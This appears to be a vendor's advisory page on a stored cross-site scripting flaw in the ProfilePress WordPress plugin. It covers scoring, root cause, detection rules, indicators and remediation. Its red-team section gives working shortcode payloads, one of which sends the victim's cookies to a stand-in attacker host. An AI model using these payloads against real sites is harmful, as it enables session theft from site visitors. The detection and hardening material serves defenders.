CVE-2024-1409
Executive Summary
CVE-2024-1409 is a Stored Cross-Site Scripting (XSS) vulnerability in the ProfilePress WordPress plugin (versions up to and including 4.15.0). The flaw resides in the [reg-select-role] shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level permissions can inject arbitrary JavaScript into pages. When other users (including administrators) visit the compromised page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further privilege escalation.
This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The EPSS score is 0.0%, indicating low exploitation activity at the time of analysis, but the risk remains significant due to the widespread use of the plugin and the low privileges required for exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication but is easy to exploit and can lead to cross-site scripting attacks that affect other users.
Deep Dive & Mechanics
The [reg-select-role] shortcode is used in ProfilePress to display a role selection dropdown during user registration. The shortcode accepts attributes such as class, id, or custom data attributes. The plugin fails to properly sanitize these attributes before outputting them in the HTML.
Root Cause: Insufficient input sanitization and output escaping on user-supplied shortcode attributes. When an attacker with contributor-level access creates or edits a post/page containing the shortcode, they can inject malicious JavaScript into attribute values.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new post or page and inserts the
[reg-select-role]shortcode with a malicious attribute, e.g.,[reg-select-role class="test\" onmouseover=\"alert(1)\""]. - The plugin outputs the attribute without proper escaping, resulting in HTML like
<select class="test" onmouseover="alert(1)">. - When any user (including admins) visits the page and hovers over the select element, the JavaScript executes.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface the site, or redirect users to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (ProfilePress <= 4.15.0):
The shortcode handler likely uses esc_attr() or similar functions incorrectly, or directly echoes user input without escaping.
// Vulnerable example (conceptual)
function reg_select_role_shortcode($atts) {
$class = $atts['class'];
echo '<select class="' . $class . '">';
// ...
}
Patched Code (Hypothetical):
A proper patch would use esc_attr() on all user-supplied attributes and validate allowed values.
// Patched example (conceptual)
function reg_select_role_shortcode($atts) {
$class = isset($atts['class']) ? esc_attr($atts['class']) : '';
echo '<select class="' . $class . '">';
// ...
}
Note: No official patch has been released. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with ProfilePress plugin <= 4.15.0
- Contributor-level account or higher
Exploitation Steps:
- Log in as a contributor.
- Create a new post or page.
- Insert the following shortcode with a malicious attribute:
[reg-select-role class="test\" onfocus=\"alert(document.cookie)\" autofocus=\"true"] - Publish the post.
- When an administrator or other user visits the page, the JavaScript executes automatically (due to
autofocus).
Alternative Payload (Steal Cookies):
[reg-select-role class="test\" onfocus=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\" autofocus=\"true"]
Note: No public exploit code is available from Exploit-DB.
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing the
[reg-select-role]shortcode with unusual attributes. - Look for JavaScript execution events in browser logs (e.g., CSP violations).
- Use the detection rules below.
Hardening:
- Disable the ProfilePress plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block malicious shortcode attributes.
- Restrict contributor-level permissions to prevent shortcode usage.
- Use Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wp-user-avatar/(plugin directory) - Shortcode Pattern:
[reg-select-rolefollowed by suspicious attributes likeonmouseover,onfocus,onclick, etc. - HTTP Request: POST to
/wp-admin/post.phpwithpost_contentcontaining the malicious shortcode. - Browser Behavior: Unexpected JavaScript execution on pages with registration forms.
- Log Entry: WordPress audit logs showing creation/editing of posts by contributors with unusual shortcode usage.
Detection Engineering
YARA Rule
rule CVE_2024_1409_ProfilePress_XSS {
meta:
description = "Detects malicious shortcode attributes in ProfilePress plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1409"
strings:
$shortcode = /\[reg-select-role[^\]]*?(on\w+\s*=|javascript:)/i
$payload = /(onmouseover|onfocus|onclick|onload|onerror)\s*=\s*["']?[^"'\]]+["']?/i
condition:
$shortcode or $payload
}
Sigma Rule
title: CVE-2024-1409 ProfilePress Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in ProfilePress plugin via shortcode attributes
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/post.php'
http.body|contains: '[reg-select-role'
http.body|re: '(on\w+\s*=|javascript:)'
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1409 ProfilePress Stored XSS Attempt"; flow:to_server,established; content:"[reg-select-role"; http_client_body; pcre:"/(on\w+\s*=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and remove ProfilePress until a patched version is released.
- Audit existing content – Scan all posts/pages for malicious shortcode usage.
- Reset compromised accounts – If any admin accounts were affected, force password resets and revoke session tokens.
Long-term Fix:
- Apply the vendor patch when released (monitor https://wordpress.org/plugins/wp-user-avatar/).
- Implement input validation and output escaping for all shortcode attributes.
- Use WordPress coding standards and security plugins (e.g., Wordfence) to detect XSS.
Workaround:
- Restrict contributor-level users from using shortcodes via user role editor plugins.
- Add a WAF rule to block requests containing
[reg-select-rolewith suspicious patterns.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.